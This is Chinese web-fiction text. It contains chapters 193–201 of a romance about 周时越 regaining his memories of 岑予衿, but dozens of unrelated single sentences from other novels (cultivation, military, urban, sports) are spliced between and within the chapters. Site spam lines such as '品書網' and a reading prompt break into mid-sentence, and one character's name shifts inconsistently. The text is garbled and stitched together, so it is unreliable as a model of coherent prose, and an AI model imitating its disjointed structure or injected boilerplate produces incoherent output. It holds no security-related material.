魏大师是修真者中极其厉害的风水先生,她拥有点石成金之力,口若悬河,天花乱坠,就连筑基老祖都曾邀请她到自己的家里做客,顺便看看风水。 “铁妖军团?”有人率先表现出疑惑的样子,毕竟这个名词在仙灵大陆并不出名,根本就没有听说过。 李星云神色微动,接着收回视线,抬首望了望那轮高挂云霄的玉盘。他很清楚,三潭映月也好,一十八月圆也罢,终究不过是障眼法。 这套针法似乎就像是一个无底洞一般,不论你的功力有多深,它似乎都能够将你体内的功力给抽空的。 “回去好好看,有不懂的记下来,中午的时候我逐一给你们解答。”江翌摆摆手道。 这种加持强大真灵的魂界,又被称为通灵魂界,是虚仙境以上强者才可施展的变异魂界,是魂界术式中的巅峰之作。 震震雷光在黑云中翻滚,偶尔还能还看到一缕金色——那便是威尔的所在。 听到李棠的话,秦照也不说话了,老老实实的把车子开到了警局。到了警局门口,李棠什么话都没有说,直接就从车子上下去了,一瘸一拐的走进了警局。 周程在院门里面等了会儿,听到外面再没有声音了,才走了出去。 于化龙连忙道谢,赶紧走到外面,在这些人的檀中穴上轻轻点了一下。 现在眼看诸镇成型,军力强大,而且经过调整之后,孙传庭能镇住清江行营的诸镇,魏岳等人可以直接听从指挥,江北防务可告无虞。 泣刀章和你,比就看出差距来了力口年7月6日,星期五,天气晴。 崇明三年十月二十六,英王上奏,拒不从命,后怒甚,帝以君命再召,王皆无所回。 在场的这些修真者,可都是一派的掌门、长老,自然是知道。在这件看似不怎么起眼的突发事件背后,藏着怎样一个大隐患。故此,在听到了胖和尚的这番话后,不少人都倒吸了一口凉气,面色瞬间变的凝重了起来。 一声吆喝,几个锦袍玉带的武官便赶了上来,先碰头行礼,然后起身站立,虽不是赳赳武夫,好歹也是顾盼自雄。 牛前进点了点头,之后就开始了“秘密”让队员们使用强体饮料。其实也谈不上什么秘密,全队上下,除了主教练、翻泽不知道外,其他人,包括助理教练、队医、所有队员等人在内,全都知道此事。 第一卷 第193章 药真的有问题 时间缓慢流逝。 周时越几乎没动,只是偶尔看一眼手表。 一个小时后,雷纳博士的一名助手进来,为他送来一杯咖啡,“周先生,分析正在进行中,一切顺利。预计时间不变。” 周时越道了声谢,接过咖啡,却没有喝。 现在他吃不下,也喝不下任何东西。 坦帮城的传送阵内,知道坐标的东方子键,把两波的六合堂弟子送进了传送阵,传送阵每次只能传送三百人,所以必须分两次进行传送。 等又一个包子和一碗米饭下肚了,他自己都纳罕:“看来,不想法多挣点钱,家里真供不起我这个一米八的块头了。”看张兰打过来一个白眼,他笑起来。 福芸熙见到宫逸轩的脸‘色’就知道他已经把这些强盗记恨在心里,这些人是强盗,做着伤天害理的事,不能怜悯于是便没吭声。 “乖乖,这神劫怎么会这么强?”光明圣王等人的眼珠子差点掉出来,那神劫强得有点离谱了吧?那可是两个顶级鬼帝呀,这死得也太轻松了吧? “既然敌军接近了,那我们就在这里严阵以待好了。对了,那几位军团长都请过来,我要找他们商量作战计划。”杀猪刀说起话来满有气势的,实际上他根本就不懂怎么指挥作战,遇到事当然要找军团长们来商量。 “冯先生……我九华宗与七煞门的恩怨到此结束,希望冯先生不计前嫌,放过我九华宗一干人马!”云凡说这话的时候是低着头的,完全是那种卑躬屈膝的姿态。 楚剑飞这回听懂了,虽说他这是一种商业运作。但是如果他买了房,依然按照这样操作,也一样可以赚钱,还能赚的更多。现在用换房的方式来做,只能说在他的商业运作下保证不亏本,但是利润却少了许多了。 她不知道自己这段时间心情不好,骂人都刁钻了,只顾心里诅咒:哼,这些南方人,又矮又几钻的,真讨厌。她这样想着,眉头皱得更紧了。 “知道这里埋葬着都是什么人吗?”白阳炫无视琅邪的冰冷敌意,转身仰头,看着那几个大字。 两人看着冲过来的敌人,当想上去拼命,地面上突然升起一片迷雾,紧接着有几道利箭射向冲在前面的几个战士,他们视线被迷雾遮蔽,在被射中之前根本没发现有箭,更谈不上躲避了。 可就在那死亡弯刀即将刺到青年腰间时,却是忽然止住不动了,就像是突然被定住一般。 傅羲听后心中一片冰寒,难怪当初白复想方设法地将自己抓走,原来他是想夺取自己的兽灵体。 驻守这边酒店总经理,得知老总的儿子被一个渔村的人给救了,慌忙带着车队冲了过去。 下一刻,天灵王的另一只手臂一挥,属于他的强大的半步虚境的力量就迅速酝酿然后爆发,顺着那因果之线向姜预袭了过来。 “今天,我要横扫剑道天榜。”项昊黑发飞扬,眸光如电,到目前为止,他已经连胜七场。 “废话,当然是他们主动找我们联姻!”萧玄不满地冷哼了一声。 所有人都明白刘咏的意思,这时要正面给出孙刘真正结盟的信号,他们当然赞同,只是刘咏的身体让他们很不放心。 方逸苦笑了一下,然后看了一眼王凯和墨风狂,最终方逸的视线定格在墨风狂的身上。 第一卷 第194章 衿衿是阿越的衿衿,阿越是衿衿的阿越! 雷纳博士和他的团队不眠不休地工作了四十八小时。 李牧野一直都是个坚信人定胜天,我命由己不由天的主儿。但他向来又善于变通,也知道人力总有穷尽时,谋算再精也有人算不如天算时,有时候还是需要一点赌徒的运气。 阿韵神色凝重,跟在院落里的那个阿韵简直判若两人,光看他的身手就知道十分的厉害,而处理事情应该也是一把好手吧。 “我为什么要藏着?该藏着的人也是你吧!”他说着得意的笑了笑,得罪了黑蛇组织你还有好日子过吗?他恨不能现在就见到林然被杀了。 电话响了,司徒轩急忙接通电话,结果仍旧毫无结果,仍旧关机。 直到这一刻,凡人在真的见识到了自然之力的可怕,不同于战时之水火,天罚让人生不出想要逃命的力气,哪怕是久经沙场的老兵也不例外。 当年水戏袁门的祖师爷单枪匹马挑了寻龙门前身大江水匪的总舵,被江湖尊为闹海老龙神水法第一人。后世子弟代代传承,代代出英雄。袁泉是家学渊源,说起水底下的勾当来,自然是条条是道。 莫离觉得自己很无聊,自从铸器比赛过了之后,他就没有任何的目标了,没有目标的生活就更加没有意义了。 “你还在说风凉话,说,是不是你害了老大,你本来就是岛国人,说不定你和今晚要对付的敌人是一伙的。”和尚脾气暴躁道。 苏流萤那会儿的突然昏迷已经把他吓到了,东方莺韵说胎儿差点没保住,怎么可以现在就让她下床? “我说,请告诉我你的姓名和生辰八字。”纪远扬一改刚才与家人通话的生冷声线,满腔柔情开口。 紧接着,三座岛屿竟然同时向上增高,更多的土地从海面上破浪而出,岛屿的面积再次扩大了,虽然没有突破大境界时那么明显,也足够震撼。 顺带一提,在AOB工作这么久之后,宿傀也购买了自己的“精益求精”套餐服务,现在,他终于不用和以前一样蹭墨曦的精益求精了。 苏茶一进门,目光还没落在别人身上,就先被一人吸引去了视线。 有时候她也不知道左芷词心中怎么想的,说她坏心眼,未必有,她只是一直以来被左家惯得骄纵,这是正常的。 倚靠在铁王座上的白发男人双眼闪过一道精光,身旁插在地上泛着妖异血光的叛逆之刃剧烈颤抖了起来。 只是这么久她没感觉到伏墨有起夜的习惯,而且伏墨起身她必然能察觉,伏墨好像从睡之前就在浴室里面了。 当即,沈寒三人又返回了夏园,门口的一众密探们纷纷发送消息。 姜韵正坐在沙发前翻看时尚杂志,简宁拎着收拾好的行李箱下楼。 自从七皇子死在那几个侍妾的肚皮上之后,她就一直在想,到底是出了什么事,会让将来是九五之尊的七皇子,就这么死了。 时间又过去了半个月,汪大海及项龙飞两人都隐隐有突破进入辟府境的迹象,离三个月的历练只剩下十多天了。这天几人寻了处安静的地方,林枫为两人护法开始突破。 第一卷 第195章 陷入昏迷 头等舱内的昏暗灯光被舷窗外透进来的薄晨光晕染得愈发柔和,飞机引擎的轰鸣依旧平稳,却衬得周时越所在的座位周遭死寂得反常。 整个辫子被绞入了轮胎涡轮里边,不二真治根本一动也不能动!现在他想起身只能找人忍痛把他头顶的头发全部剪掉了!机车上的那家伙也吓的一句话不敢说了。 胡强自然是知道这一点的,他又不是傻子呆子,可他既然已经想去这么做了,就要立刻去执行,这才是他一贯雷厉风行的风格。方彪见他露出那么坚决的表情,也就知道他自己应该怎么做了。 云娜点了下头接住了雪月痕递过来的鹿肉,给了雪月痕一个安慰的目光。雪月痕把剩下的鹿肉塞到了海兰的手中自己则靠着白虎的身体坐了下来,仰头静静的看着天空中纷纷扬扬的雪花陷入了回忆之中。 瑾睿手微微一颤,忙退开一步。递了她袜子与她自己试着穿,这些事,她自己都要慢慢在黑暗中熟悉。 这桩事情反应到现实政治上,就立即可以从南方的科举考试上体现出来。 “呵呵!是想说我们两个老头子怎么会站在你这边吧!”一个全身皆白的老者在一旁插嘴道。 菊花夫人半嗔半笑道:“冬儿不得无礼,他们都是菊花宫的客人。”那冬菊忽格格一笑道:“偷花贼怎么又变成客人了,夫人不是讨厌外人上岛吗?”那冬菊一笑一说,让人听起来实是一种极大的享受。 雪月痕轻轻的咳嗽了几声摇摇晃晃的御风回到了山顶,短短的一千多米远他居然足足用了将近二十分钟才到达,而且现在雪月痕的脸色惨白,嘴角处不住的往外溢着鲜血,胸部已经完全变形,胸口处深深的凹陷了下去。 那锦衣卫刚要大喊示警,四下的土坡树木突然动了起来,数十人不知道什么时候已经悄悄潜伏到了宿营地旁边,锦衣卫们都解了盔甲兵器,有些人连靴子都脱了,猝不及防之下,当时就被放倒了一大半。 尽管最后双方罢手言和,但如果就这样不了了之,那在凯尔斯帝国的传教是大大不利的。那些敌对势力和不满于教廷的实力怕是都会趁机捣乱。 要说这苍云山,那是一个真正的好武之人。年轻时的他就曾游历清风国各处名山大川,为的就是找寻当时隐居在深山大川中的武者高人切磋与学习。 但是现在刚刚干掉这个虚空领主,众人的气氛一时之间也变得微妙起来。 猎杀兽可不会管这么多,被他们盯上的猎物,除非死,否则他们永远不会放弃追击。 施腾达忙里忙外,把原来制作过傀弩的人喊了出来,然后细细地辨认。 那是一座血红色的祭坛,四面八方源源不断的翻滚而来的血液,就在那中央凝聚出恐怖的杀戮气息。 而老道人的这角阵纹,据他所言只要大道之力不超过圣境,足以保证姜遇可以安然遁离,其价值无法想象,也难怪老道人肉疼了。 就如同应笑我一事一般,当初的战凌霄有着完全的能力将得应笑我斩杀,但是却是为了大局而放过了应笑我一次,最后却也是导致了无法挽回的遗憾。 第一卷 第196章 怎么能忘了? 众人纷纷向希维科的头上看去,看看有没有绿帽子。可他们所说的绿帽子和林天说的绿帽子却是两回事。 泽金完全想不明白,灵魂既然是空白的又怎么可能有主观的意识呢,联想到刚刚老师的表情,泽金终于知道这件事情远没有自己想的简单,逆鳞被所有人低估,他们依然掌握着常人所无法理解的能量。 泽金一点点的看着,楠楠记日记没有什么规律,有时候可能连续记上好几天,有时候可能一个月才写一篇,而且字数也不一定,有时只有几个字的心情而已。 直到阿治渐渐远去,板木才撤下衣袖,可是脸上既没有泪痕也没有汗渍。 苏易暗自点头,林霄实力最为强大,由他作为中枢最为合适不过。 他没有办法将魔道子弄出来,那样林羽也会死亡的,李天通转头看来看去,突然看到暗灵珠漂浮在那里,竟在剧烈抖动着,一丝丝暗气不停的外泄出来。 泽金注意着罗离收服元素之星的过程,那是一种魔力的牵引,妙不可言,元素之星已经认同了罗离,但是之后要是想要将元素之星炼化在体内的话,肯定不会这么简单。 虽然心里起了一点怀疑之心,但是自己看着苏易半只脚就要掉落武台时,便也没有想太多。 杨冲能够想到的就是这些,但他们拘谨了,杨冲却不拘谨。又恢复了之前不温不火的状态,杨冲毫不生分的将何半云叫到了身边,连带着人老成精的边叔也叫了过来,开始了解情况。 菲德把月盾留在了营地,只是带了“噤声”便跟随着三个教会骑士往艾美之乡的城镇出口处移动。教皇国这次派出的援军负责人萨特南早已经在那里等候着菲德,他示意让菲德和他一起骑马往东面的多雷特城出发。 元笑点了点头,看着窗外发白的天色,想着自己要不要在天亮之前,元振威醒来之前,回到医院,以免被人发现。 元笑一听,看才倒了一点,立马收回,想到之前自己浪费那么多,在结合嬴隐皱眉,元笑只感觉自己的天都要塌了。这那是献殷勤,这分明是找罪受。 看着里面,还有着许多历苍穹平时买给她的钗环配饰,她看了看,又关上了箱子。 看那业务,似乎很熟练的样子,真是恨不能把人坑的连一条内裤都不剩。 尤其还有那健硕高大的身材以及一张无人能及的俊脸,一下子就将那金发男子的气势压了下去。 悲伤过后,宇浩阳三人在她们的心中就是天堂里的星星,放在心中而无法触及,但是三位姑娘还那么年青,生活还要继续下去。 “韩飞白既然是隐宗的弟子,他为什么可以出去,离开云仙山。”元笑忍不住还是问了出来。 听到她说我知道了,霍泰楠眼神却是暗了一下,只是知道了……么? 她挑眉看他,在他的眼里看到的是认真的神色,这个男人不是在开玩笑。 他一连串的发问,是的,那些潜藏在记忆深处的东西,就这样被他一连带的拉出来,瞬间占满了整个脑子。 他们的调查十分私人,没有让任何殖民地其他领导知道,就是想借戴安娜的咒术知晓当年的真相。 是欲擒故纵吗?看样子也不像,要不就是她的城府太深、演技也太好了点。 “看看他脖子的伤口吧,”一旁的郑白眉头紧皱,缓缓分析道:“这么残暴的杀人方法,可不是正常的人族所能施展的。 很多食客简直不敢相信自己的耳朵,经过几秒钟的冷场之后,大家反应过来,顿时议论声四起。 今儿是周末,正值旅游季人也多,逐渐忙起来的李知时最后也将这件事抛之脑后,直到最后走时检查柜台才复又想起了短剑这档子事,犹豫了片刻鬼使神差之下伸出手准备拿起来再看看。 武松看他这副嘴脸,心中十分不高兴,若非张玉兰几番邀请,他还真会转头边走,此刻既然来了,也要好头好尾,进去打个招呼,就走吧。 于卫国看着此时气愤发怒的于微,伸手去拉她,想让她冷静一点,于微伸手甩开于卫国的手。 “大师,真是太谢谢你了!我们夫妻两一下要好好谢谢你!”范母抹着眼泪,笑着说。 真的,人不是外表,人比人更生气。合作结束了。中年人收钱就走了。 “我艹,老子开了你。”炮灰扬起手臂,玻璃杯在半空中猛然向下,划过一道不怎么美妙的弧线,它的目标是陈最的脑袋。 陈昊东道:“新官上任三把火,他还真把自己当成一回事了。”罗猎先是在明华日报上刊载关于他的桃色新闻,搞得他和未婚妻蒋云袖之间生出芥蒂,现在又对梁再军的振武门下手,下面还不知道要折腾出什么事情。 “你,你什么意思?”颜萧萧有点结巴,何时靳光衍说过如此煽情的话? 这一大截,甚至是连长门都不自己都不清楚,到底他现在一拳能够干死谁? 来自林天遥的几声大喝已经伤害了他们的灵魂。现在,他们根本不是林天遥的对手。 林天遥点点头,于是他们朝着大海内冲去,之后,他们开始游泳。 林天遥给了他一个白色的眼睛,然后他的双手伸出来并压在底部以使大厅平静下来。 意婵心里希望清让能做皇后,她已经认定唯有清让才有资格成为他哥哥的妻子,正妻。 次日清晨,虞府一辆马车从侧门驶出,清让看着车窗外还未彻底明亮的天色,太阳没有出来就不会知道今日到底是晴还是阴。 任剑说红梅你辛苦了,我已经订了明天六点半的航班,大约九点到阳州。我到了就联系你好不好? 告别陈志诚之后,苏菡急着赶回办公室写稿子,在楼道里正好遇上任剑。任剑一把拉住她进了茶水间,用看大熊猫一般的目光打量着她,说刚才那个男孩,是那个什么吧? 第一卷 第197章 她一定以为是我不要她了 这个名字是他起的,顾名思义,他早晚要找到梦雪,如果没有楚梦雪,或许当时在米国他就已经死了。 几个男生看李阳无聊,叫他一起打球,李阳虽然不会,但也走过去和大家玩了起来。 没有交代任何理由,童河图被逐出了师门,他的印鉴,法器,道袍,但凡一切和道士有关的东西都被统统没收。 玛丽疑惑的回头一看,就看到那清风拨开黑云,月光向自己移来的一幕,让她不禁有些愣神。 “艹,这娘们太狠了!”秦川叹息了一声,这次不仅差点栽了,老白还因为损失了尸傀化身受到牵累,需要在阴魄珠中修养,可以说他亏大了。 李阳听了他的话,脸色却阴沉起来,对方提起庄浩,显然是特意去调查过庄颜的背景,这说明他们对庄颜也已经不怀好意了。 萧凌虽然清醒不久,但他多少还是有些担心其余的那些怪物会忽然袭击,所以他又立刻扫描了一下整艘飞船。 这个洞是一个拱形的土坑洞,不少地方还打着木桩,那是用来防止坍塌的。那些木桩有很多都开始腐烂了,这可不像是近年来挖的盗洞,如果是,那也起码是一伙儿古代的盗墓贼干的。 龙子石被震得倒退而回,反噬的伤势愈发扩大,不由得再喷几口鲜血。 “兽天城剩下的事情,关天行你要全权负责,四大神匠和两大药神以及这两大家主全力辅助于你,一定要在周奉天重新掌控血脉大陆之前,给我整体提升。”萧狂继续说道。 林飞扬背着手看着他们,他能从这些人的身手感受到一股同类的气息。 “不用想,我必杀你。”田二苗抬起了手,尚凝竟是无法移动了。 武十三说:“你都敢跳下去,还怕这绳索不牢固?”武十三说道。 郭嘉与管仲抱拳齐声喝道,两人兴奋不已,他们等候了无数载,终于等到能为天帝亲自谋划权策的机会,在混沌时期,他们为龙凤人三族谋策,但都不算为秦君。 “咳咳……”王羽觉得某个地方开始要造反了,连忙收敛目光,侧过身子。 “怎么回事?怎么都不见了。”碧落皱起眉头,盯着眼前的,满脸的好奇。 “喂,你们磨磨唧唧的干什么呢,要么就赶紧打,要么就赶紧滚。”萧狂看半天还没有打起来,再次加了一桶油,大声的喊道。 他今天已经不知道对江老说了多少次感谢的话,但他忍不住还是要说。 心想老张确实过分了,人家孩子还在呢,就当着人家的面说这些,真不知道是怎么爬上这个位置的。 眼看着眼前的男人带着一只怪物,一脸懵逼面对未来生物呼啦啦荷枪实弹的安保上门送菜,沈确都忍不住同情他。 简随遇的精神力是S级,他辨别真言的能力能应用于所有精神力比他低的人和鬼怪。 石牧低头,就看到巫秋秋呆萌的大眼睛望着自己,浑身冰冷的气场瞬间瓦解,冷峻的面容也柔和下来。 通过这个时间,他们可以肯定地判断,路远已经是强弩之末,再无余力向上攀登。 32国联盟给漂亮国列举的这十大罪状,可不是莫须有的罪名,而是言之有物,是漂亮国实打实干过的破事。 两方打斗,误伤到乾坤镇邪塔内存放灵魂的地方,于是她进塔时,抵押的一魂一魄随着庞大的灵魂流逃离乾坤镇邪塔,去了下世界。 虽然与青弦相处的时间并不长,但她也发现了,青弦对待恶人,从不心慈手软,但她本质上,是个很善良的人,她会同情弱者,所以将她从欧阳鸿宣手中救了出来,明知她是个麻烦,还是一路带着她。 她无所谓走前面还是走后面,正如季殊厌说的那样,走前面或许能抢占先机,但同时也要抵御未知的危险。 章子邵害怕云蓝拒绝,还拉了拉的她的裙摆面容焦急生怕她拒绝。 第二天一大早林逸就起来了,也是在月霓裳那里睡的太多了,所以晚上基本没睡,就是躺在床上眯着眼睛发呆想事情。 第二天中午,林逸就带着美姬子一起去切尔城了,至于为什么带上美姬子,一个是因为和美姬子在一起习惯了,另一个则是美姬子并没有什么事情,带着也不会碍事。 “陆君则,我看错你了!”碧儿狠狠瞪了陆良一眼,转身跑了开去。 对于这件事情,白毛老五对任何人都不愿谈起,后来临死的时候,杨家老太爷前去探望,白毛老五拉着老太爷的手才把这个埋藏了二十年的秘密告诉了老太爷。 外面狂风怒啸,不时还会传来一些碎石打在石山上的声音冲进耳朵,这么吵得情况下应该很难入睡的才是。 五位家主也都是养尊处优的人,惜命的很,换成别的人,那还要林逸用别的手段。 人没有潜水设备的情况下,大概可以潜个四五十米。这已经算是比较优秀的了,有了上两次的经验,我猜测这里的水池深度并非很夸张,正是因为这样我们才敢徒手潜水。 从车子后面拿出了一个箱子,然后把东西组装好,是一挺重型机关枪,架设在了车子后面,等那些吉普车靠近了,刘帅帅的嘴角挂上了笑容,立刻扣动了扳机。 第一卷 第198章 他疯了! 所有人都以为他疯了。 机舱里回荡着他压抑不住的呜咽和失控的自语。 医生和空乘交换着担忧的眼神,手下准备强制措施的意图越来越明显。 李将军跟马都尉两人不可置信地对望了一眼,双方皆是敢怒不敢言,最终也只能乖乖领命。 过了差不多四十多分钟,唐程才觉得现在自己周围狂暴的野猪几乎不见完了,也没有什么恶狼出没,按照惯例,这里应该就是怪物地盘交界的地方了。 而石床上的洛言因为这躁动的梦境也不再感到寒冷,他翻了几个身,觉得怎么都不适应。 一号家属是个肥头大耳的中年男子,脖子上挂着金灿灿的黄金项链,手上戴的是限量版瑞士机械表,一看就知道是有钱的主,武玄明这么一问其目的显而易见。 这种情况……是的,唐程眼前一亮,就是在神谕者之剑技能学习之后出现的,自己满脸的血迹肯定和这些都有关系。 墨白一听简直就是忍无可忍,你治疗被荷美人踹成内伤的伤口耗费了几乎百分之九十九的时间,而兄弟所浪费的时间充其量也不过百分之一吧,就是划分责任也应该按比例划分吧!有你这样一三六二五推卸责任的吗? 以徐芙蓉那开明的性格说实话秦天还真的是没有想过他会因为这件事情而发这么大的火。 “你……你这混账。”邢海听秦少杰又骂了起来,刚平息了一丁点的怒火瞬间又被无限放大,说着又要对秦少杰动手。 走进偌大的城堡,唐程突然才发现这个城堡也就是外面看起来宏伟,就里面的,靠,里面像是一座塔,还是中空的塔,一个大厅,一个旋转式的楼梯直到顶上。 青玥也同样如此。所谓敌不动,我不动的原则,此时被青玥展现的透彻。 神识的闭合,令轩辕皓瞬间恢复了清醒,意识到了自己面临到的现实。 一前一后,吉诺比利与布莱克在数秒间就冲进了湖人半场的三分线。宽阔的篮下只有布莱克一人,吉诺比利原本打算三步上篮,迅速完成进攻。 ”没事没事。对了,倩倩昨晚回来有没说什么?”张凡试探着问。 他跟老爷爷说了几句话后,老爷爷便没有再继续赏月,而是开始做花生糖了。而孔深则回到了寒来身边。 朝着不远处目眦欲裂的那个为首男子看去,金十三一脸鄙视的问道。 “既然这里有一桌饭,那定是备给谁吃的,我猜着肯定不是备给你我的了,就坐在这里等着主人出现吧。”王灵韵说得理所当然。 说这话时,王灵韵完全无视了屈由,她的眼睛只看着沈曼云。而沈曼云则眼含泪光,看起来情绪十分低落。她垂着头,紧紧地抱着屈由的手臂,生怕一个抓不紧,此生便再难相见。 青玥的身形,猛然移向圣姑。强行调动还未炼化的天灵火,直击圣姑。 杨军还没下班就接到刘杰的电话,电话里头,刘杰把他狠狠地熊了一顿。他也真的冤,这祸是杨立平闯的,烂摊子却得他来收拾。 夜倾城在特别冷静的说出这些话时,她觉得好像有些什么东西在一刀一刀的凌迟着自己的心脏,她感觉自己的心口在滴血,好难受。 第一卷 第199章 怎么办? 再次醒来,是在一片刺目的白中。 消毒水的味道无孔不入,钻进鼻腔,带着冰冷的、不容置疑的现实感。 耳边是仪器规律的、单调的滴答声,一下,又一下,敲打着空旷的寂静。 他的眼睛,始终紧紧盯在白云天脸上,观察他的任何细微表情变化。 除非李渊脑子进水,否则他绝不应该在这个天时地利人和都不占的情况下仓促起事。 金圣晗一边处理着手边的事情,笑着点了点头,有消息爆出来也是正常的,公司和三大电视台都商量过了。 因为害怕自己在房间内闹出的动静太大,会让顾祥他们听到,顾惜云直接进了洗手间,然后将洗手间内的所有东西一股脑儿的全部砸在地上。 龙魂中万哥的心情有些不好,在他看来,这样的门派还是灭门算了,没想到竟然又起死回生了,心情不好的情况下,不免化悲愤为食量,到处找人请他吃饭。 而且贾充询的能力比之贾茹雪来说也差上十万八千里,以他的能力,估计也闹不出什么花样。 摇了摇头,整理下自己的衣服,大声的唱起来,南高丽的国歌,满脸严肃,眼睛看着前面的天空,一片的灰暗。 听着那恐怖的声音,陈立心中的危机感越发明显了。可他想不到什么有效的办法,能够让众人躲过这一劫。 好在地沟蜥蜴魔兽也不能在焚黑沼泽的表面上停留太久,一个攻击不中,身体也往焚黑沼泽下面沉下去。 这些道理,高层都是明眼人,一眼就看穿了西方的真实用意。偏偏是下面的部门、企业,一味迷信西方的先进技术,宁可高价购买欧美光刻机,也不愿买中华制造价格低廉、性能更加出色的设备。 更重要的是,做为主角的纪元,不仅没有展现出来惊世绝俗的修行天赋,反而被很多的后起之秀给超越,其中最有代表性的人物便是于浩然。 一股巨力袭来,李栋还没看清楚到底是谁暗算他,就天旋地转的飞进星空之门,视线模糊前,手里揪到了一条毛茸茸的尾巴。 毕竟,修为只有至尊九品中期的劫命灵鼠,是无法掌控至尊九品巅峰和一劫不朽强者的命运。 上百万观众瞩目,然后同时倒吸一口凉气,一股冰凉气流贯穿全身,头皮都在发麻。 炽亮的阳光从晴空照射下来,平复上千万人受惊的心绪,温暖着人们冰凉的手脚。 那衣着不是在戏里才可以看得到的吗?她们是在演戏?可是为何没有导演和灯光之类的?这不是梦,但是为何会出现这样诡异的事情? 这样既能够增加学识,也能够避免武道天赋不强的话,可以走科举的仕途之路。 抬脚连续迈出两步,狼冢感觉压力越来越大之际,紫金刀刃上幽光瞬间变得强烈了起来,兄弟们不经抬手挡住这刺眼光芒,耳边便是有着吟吟声响起。 随着第一颗被捏碎的丹药开始发挥作用,不断陷入熟睡中的五头神兽,被牵引之力给强行的拖入黑洞中,然后转化成噬血体质晋级的纯净血系能量。 这其中就需要有人带头,并且打破老百姓的顾虑,东南七省的公务员的家属,就是一个好选择,有他们带头去银行办业务,百姓必定会蜂拥而至,到时候还会缺储户? 第一卷 第200章 在最坏的情况没有发生之前 胃里的翻搅感再次汹涌袭来,伴随着尖锐的头痛和尖锐的耳鸣! 脑海里是岑予衿绝望的眼神,眼前是林舒薇隆起的小腹和她不安担忧的脸。 到了楼下中庭花园,李嘉玉找了个椅子坐下了。她刷了下手机,果然留言已经爆了。许多同学都找她,告诉她这事,又说自己已经去学校论坛跟那些造谣的人理论了,也有说已向论坛管理员申诉删帖等等。 欧阳兰兰和谭朋安寸步不离的跟在后面,孙正飞和县长唐建微一愣神也跟随而去,孙正飞回头冲着一中校长张海琴双手比划了一通,张海琴一着急脱掉高跟鞋拿在两手中向食堂的后门跑去。 时间一天天的过去,她却没有任何苏醒的迹象,反而如同之前一般继续吸收炼化着周围的血气之力,而体内的修为在突破了半步破虚之后,又如泄了闸门的洪水一般,不断攀升冲击着更高的境界。 针头有问题?还掉下来?这是在演电视吗?若对方是别人,他估计会直接认为对方是有被迫害妄想症,可是顾筱筠的话他却不得不认真的考虑。 原来,他们一直错一直错一直错,并不是题目太难,而是曲雪儿故意错的? 丽一句话让张家良满头黑线,望着眼前的梅若萱和黄妃儿,想象着光溜溜时的画面,真的有些下流。品書網 。 段伟祺挂电话了。李嘉玉把自己的脸埋在沙发靠枕里,脸热热的, 有些烫。 她知道,这个男人不是坏人。虽然经常冷着一张脸,但是那只不过是表面的。 “……”素意有些无言,她当然知道希雅厉害,也对她很有信心,但是她确实不懂真刀真枪的战争,所以不清楚她到底有多厉害。 奥利西娅的精神体暂时寄附在了自己的克隆身体上,就那说话的声音也变得和洛天幻一模一样,说实话,这一切都太奇怪了。 也对,自己现在的法力也终于冲击到了一点六的值,要开始冲关了。 连图卡凤自己都没发现,随着陆羽的出现,一向大大咧咧,雷厉风行的图卡凤,竟是变的多愁善感起来。 燕真看向气使,发现气使也在寻找着独孤剑,但是气使也没有寻找到独孤剑。 王辰这番话绝对并非只是哄宣萱,真的是发自内心,来之前他就已经有了抉择,不管对方是谁,哪怕是天王老子,也一定要让对反付出惨痛的代价。 而且巫寨众人的灵魂也被取走,这份心情估计是常人所无法理解的。亲人即使死了,也投不了胎,阴间现在估计情形不会比阳间好太多,想要他们上来索要魂魄,根本不现实。而且对面还是无比强大的邪教。 “这个王超是在找死吗?他明明不是旧梦的对手吧!”孙德顺在一旁轻声说道。 当然,高级丹药那怕照抄也有风险,炼丹如同创造一个新世界,那微观层面深不见底,纳米误差便是亿万财富化作飞灰,但只要成一次,这辈子再不缺钱花。 梁国一方不愿南北两面受敌,而吴国一方则不愿现在就北伐,希望能借梁国之手来削弱晋国的实力。 仿佛是见到了什么特别好笑的事情,他笑得眼泪都冒了出来,就连咳嗽也无法中断他的笑声。 第201章 他的路早被自己堵** 林舒薇最终还是被周时越以强硬又不失温和的态度劝了回去。 病房门轻轻合上,隔绝了那道小心翼翼,一步三回头的背影。 周时越一直维持着闭目养神的姿态,直到助理低声汇报“太太已经上车离开”,他才缓缓睁开眼。 眼底方才强压下去的惊涛骇浪再次翻涌,却比之前多了几分冰冷的清明。 “盛宇!”他的声音依旧沙哑,却带着不容置疑的命令口吻,“去查三件事。第一,当年那艘游轮的完整乘客名单、事故调查报告,以及所有公开或非公开的细节,越详细越好。 第二,薇薇在那次事故前后,包括就医记录、行程轨迹、人际关系变动,所有能找到的信息。第三……” 这些他早就让人查过了,可每次查出来的都没问题,就像那瓶药一样。 现在……他谁也不相信,包括以前的助理。 陈盛宇不一样,他是他身边唯一能信任的人。 他顿了顿,喉结滚动,每一个字都淬着寒意,“再查衿衿……这三年,她所有的动向。” 助理陈盛宇心头巨震,猛地抬头看向周时越。 对上那双深不见底、再也没有半分迷茫的眼眸,他立刻明白了,周总,真的想起来了!或者说,至少记忆的关键部分,回来了。 “是,周总。”陈诉压下心头的惊骇,立刻应下,却又忍不住迟疑,“那……太太那边和林董那边?” “暂时不要打草惊蛇。”周时越的目光投向窗外灰蒙蒙的天空,眼神锐利如刀,“尤其是我那位‘岳父’。林氏集团最近不是想插手南城新港的项目吗?找个由头,拖一拖,但别显得太刻意。” “明白。” “其实……您要是真的想知道那三年发生了什么,问谢总是最有用的。那三年是他陪着岑小姐一步步走过来的。” 周时越自嘲的笑了笑,摇了摇头,“我没有脸去见他,一开始的时候他就提醒过我的,是我被猪油蒙了心……哪怕我恢复记忆了,他也不会告诉我的。” 陈盛宇心领神会,悄无声息地退出了病房。 门关上,周时越才允许自己脸上流露出深切的痛苦。 他抬手,用力按压着突突直跳的太阳穴,脑海中却无比清晰地将破碎的片段串联。 落海时刺骨的寒冷和绝望…… 那双拼命抓住他的手…… 醒来后看见的林舒薇苍白柔弱的脸,以及她腿上的伤疤和医生为救你而致残的证言。 还有,林父语 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 重心长的托付与救命之恩。 一切都那么顺理成章让他这个失去记忆的人毫无防备地接纳了这份恩情与随之而来的责任甚至……婚姻。 可现在记忆的闸门打开潮水般涌来的全是另一个女人的身影。 岑予衿笑着叫他“阿越”的样子生气时微微鼓起的脸颊还有最后那次见面时她眼中熄灭的光和近乎绝望的平静。 胃里又是一阵翻江倒海。 他欠林舒薇的或许是救命之恩但他对岑予衿欠下的是整整三年的背叛、遗忘和锥心刺骨的伤害! 那是他用什么都无法弥补的深渊! 